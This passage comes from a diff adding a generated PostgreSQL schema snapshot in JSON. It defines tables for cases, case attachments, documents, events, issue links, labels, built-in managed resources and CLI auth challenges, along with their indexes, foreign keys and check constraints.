+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.built_in_managed_resources": {
+      "name": "built_in_managed_resources",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "bundle_key": {
+          "name": "bundle_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "resource_kind": {
+          "name": "resource_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "resource_key": {
+          "name": "resource_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "resource_id": {
+          "name": "resource_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "stock_version": {
+          "name": "stock_version",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "stock_hash": {
+          "name": "stock_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "defaults_json": {
+          "name": "defaults_json",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "built_in_managed_resources_company_idx": {
+          "name": "built_in_managed_resources_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "built_in_managed_resources_resource_idx": {
+          "name": "built_in_managed_resources_resource_idx",
+          "columns": [
+            {
+              "expression": "resource_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "resource_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "built_in_managed_resources_company_bundle_resource_uq": {
+          "name": "built_in_managed_resources_company_bundle_resource_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "bundle_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "resource_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "resource_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "built_in_managed_resources_company_id_companies_id_fk": {
+          "name": "built_in_managed_resources_company_id_companies_id_fk",
+          "tableFrom": "built_in_managed_resources",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.case_attachments": {
+      "name": "case_attachments",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "case_id": {
+          "name": "case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "asset_id": {
+          "name": "asset_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "case_attachments_company_case_idx": {
+          "name": "case_attachments_company_case_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "case_attachments_asset_uq": {
+          "name": "case_attachments_asset_uq",
+          "columns": [
+            {
+              "expression": "asset_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "case_attachments_company_id_companies_id_fk": {
+          "name": "case_attachments_company_id_companies_id_fk",
+          "tableFrom": "case_attachments",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "case_attachments_case_id_cases_id_fk": {
+          "name": "case_attachments_case_id_cases_id_fk",
+          "tableFrom": "case_attachments",
+          "tableTo": "cases",
+          "columnsFrom": [
+            "case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "case_attachments_asset_id_assets_id_fk": {
+          "name": "case_attachments_asset_id_assets_id_fk",
+          "tableFrom": "case_attachments",
+          "tableTo": "assets",
+          "columnsFrom": [
+            "asset_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.case_documents": {
+      "name": "case_documents",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "case_id": {
+          "name": "case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "document_id": {
+          "name": "document_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "key": {
+          "name": "key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "case_documents_company_case_key_uq": {
+          "name": "case_documents_company_case_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "case_documents_document_uq": {
+          "name": "case_documents_document_uq",
+          "columns": [
+            {
+              "expression": "document_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "case_documents_company_case_updated_idx": {
+          "name": "case_documents_company_case_updated_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "updated_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "case_documents_company_id_companies_id_fk": {
+          "name": "case_documents_company_id_companies_id_fk",
+          "tableFrom": "case_documents",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "case_documents_case_id_cases_id_fk": {
+          "name": "case_documents_case_id_cases_id_fk",
+          "tableFrom": "case_documents",
+          "tableTo": "cases",
+          "columnsFrom": [
+            "case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "case_documents_document_id_documents_id_fk": {
+          "name": "case_documents_document_id_documents_id_fk",
+          "tableFrom": "case_documents",
+          "tableTo": "documents",
+          "columnsFrom": [
+            "document_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.case_events": {
+      "name": "case_events",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "case_id": {
+          "name": "case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "kind": {
+          "name": "kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "actor_type": {
+          "name": "actor_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "actor_user_id": {
+          "name": "actor_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "actor_agent_id": {
+          "name": "actor_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "run_id": {
+          "name": "run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "payload": {
+          "name": "payload",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "case_events_case_created_idx": {
+          "name": "case_events_case_created_idx",
+          "columns": [
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "case_events_company_case_idx": {
+          "name": "case_events_company_case_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "case_events_company_id_companies_id_fk": {
+          "name": "case_events_company_id_companies_id_fk",
+          "tableFrom": "case_events",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "case_events_case_id_cases_id_fk": {
+          "name": "case_events_case_id_cases_id_fk",
+          "tableFrom": "case_events",
+          "tableTo": "cases",
+          "columnsFrom": [
+            "case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "case_events_actor_agent_id_agents_id_fk": {
+          "name": "case_events_actor_agent_id_agents_id_fk",
+          "tableFrom": "case_events",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "actor_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "case_events_kind_check": {
+          "name": "case_events_kind_check",
+          "value": "\"case_events\".\"kind\" in (\n        'created',\n        'updated',\n        'fields_changed',\n        'status_changed',\n        'issue_linked',\n        'issue_unlinked',\n        'document_revised',\n        'child_linked',\n        'attachment_added',\n        'label_added',\n        'label_removed'\n      )"
+        },
+        "case_events_actor_type_check": {
+          "name": "case_events_actor_type_check",
+          "value": "\"case_events\".\"actor_type\" in ('user', 'agent', 'system')"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.case_issue_links": {
+      "name": "case_issue_links",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "case_id": {
+          "name": "case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "role": {
+          "name": "role",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_by_run_id": {
+          "name": "created_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "case_issue_links_case_issue_uq": {
+          "name": "case_issue_links_case_issue_uq",
+          "columns": [
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "case_issue_links_company_case_idx": {
+          "name": "case_issue_links_company_case_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "case_issue_links_issue_idx": {
+          "name": "case_issue_links_issue_idx",
+          "columns": [
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "case_issue_links_company_id_companies_id_fk": {
+          "name": "case_issue_links_company_id_companies_id_fk",
+          "tableFrom": "case_issue_links",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "case_issue_links_case_id_cases_id_fk": {
+          "name": "case_issue_links_case_id_cases_id_fk",
+          "tableFrom": "case_issue_links",
+          "tableTo": "cases",
+          "columnsFrom": [
+            "case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "case_issue_links_issue_id_issues_id_fk": {
+          "name": "case_issue_links_issue_id_issues_id_fk",
+          "tableFrom": "case_issue_links",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "case_issue_links_role_check": {
+          "name": "case_issue_links_role_check",
+          "value": "\"case_issue_links\".\"role\" in ('origin', 'work', 'reference')"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.case_labels": {
+      "name": "case_labels",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "case_id": {
+          "name": "case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "label_id": {
+          "name": "label_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "case_labels_case_label_uq": {
+          "name": "case_labels_case_label_uq",
+          "columns": [
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "label_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "case_labels_company_case_idx": {
+          "name": "case_labels_company_case_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "case_labels_label_idx": {
+          "name": "case_labels_label_idx",
+          "columns": [
+            {
+              "expression": "label_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "case_labels_company_id_companies_id_fk": {
+          "name": "case_labels_company_id_companies_id_fk",
+          "tableFrom": "case_labels",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "case_labels_case_id_cases_id_fk": {
+          "name": "case_labels_case_id_cases_id_fk",
+          "tableFrom": "case_labels",
+          "tableTo": "cases",
+          "columnsFrom": [
+            "case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "case_labels_label_id_labels_id_fk": {
+          "name": "case_labels_label_id_labels_id_fk",
+          "tableFrom": "case_labels",
+          "tableTo": "labels",
+          "columnsFrom": [
+            "label_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.cases": {
+      "name": "cases",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "case_number": {
+          "name": "case_number",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "identifier": {
+          "name": "identifier",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "case_type": {
+          "name": "case_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "key": {
+          "name": "key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "summary": {
+          "name": "summary",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'draft'"
+        },
+        "fields": {
+          "name": "fields",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "parent_case_id": {
+          "name": "parent_case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "completed_at": {
+          "name": "completed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "cases_company_case_number_uq": {
+          "name": "cases_company_case_number_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_number",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "cases_identifier_uq": {
+          "name": "cases_identifier_uq",
+          "columns": [
+            {
+              "expression": "identifier",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "cases_company_type_key_uq": {
+          "name": "cases_company_type_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "cases_company_status_idx": {
+          "name": "cases_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "cases_company_type_idx": {
+          "name": "cases_company_type_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "cases_company_project_idx": {
+          "name": "cases_company_project_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "project_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "cases_parent_idx": {
+          "name": "cases_parent_idx",
+          "columns": [
+            {
+              "expression": "parent_case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "cases_title_search_idx": {
+          "name": "cases_title_search_idx",
+          "columns": [
+            {
+              "expression": "title",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last",
+              "opclass": "gin_trgm_ops"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "gin",
+          "with": {}
+        },
+        "cases_identifier_search_idx": {
+          "name": "cases_identifier_search_idx",
+          "columns": [
+            {
+              "expression": "identifier",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last",
+              "opclass": "gin_trgm_ops"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "gin",
+          "with": {}
+        },
+        "cases_summary_search_idx": {
+          "name": "cases_summary_search_idx",
+          "columns": [
+            {
+              "expression": "summary",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last",
+              "opclass": "gin_trgm_ops"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "gin",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "cases_company_id_companies_id_fk": {
+          "name": "cases_company_id_companies_id_fk",
+          "tableFrom": "cases",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "cases_project_id_projects_id_fk": {
+          "name": "cases_project_id_projects_id_fk",
+          "tableFrom": "cases",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "cases_parent_case_id_cases_id_fk": {
+          "name": "cases_parent_case_id_cases_id_fk",
+          "tableFrom": "cases",
+          "tableTo": "cases",
+          "columnsFrom": [
+            "parent_case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "cases_created_by_agent_id_agents_id_fk": {
+          "name": "cases_created_by_agent_id_agents_id_fk",
+          "tableFrom": "cases",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "cases_status_check": {
+          "name": "cases_status_check",
+          "value": "\"cases\".\"status\" in ('draft', 'in_progress', 'in_review', 'approved', 'done', 'cancelled')"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.cli_auth_challenges": {
+      "name": "cli_auth_challenges",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "secret_hash": {
+          "name": "secret_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "command": {
+          "name": "command",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "client_name": {
+          "name": "client_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "requested_access": {
+          "name": "requested_access",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'board'"
+        },
+        "requested_company_id": {
+          "name": "requested_company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "pending_key_hash": {
+          "name": "pending_key_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "pending_key_name": {
+          "name": "pending_key_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "approved_by_user_id": {
+          "name": "approved_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "board_api_key_id": {
+          "name": "board_api_key_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "approved_at": {
+          "name": "approved_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "cancelled_at": {
+          "name": "cancelled_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "cli_auth_challenges_secret_hash_idx": {
+          "name": "cli_auth_challenges_secret_hash_idx",
+          "columns": [
+            {
+              "expression": "secret_hash",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "cli_auth_challenges_approved_by_idx": {
+          "name": "cli_auth_challenges_approved_by_idx",
+          "columns": [
+            {
+              "expression": "approved_by_user_id",
+              "isExpression": false,
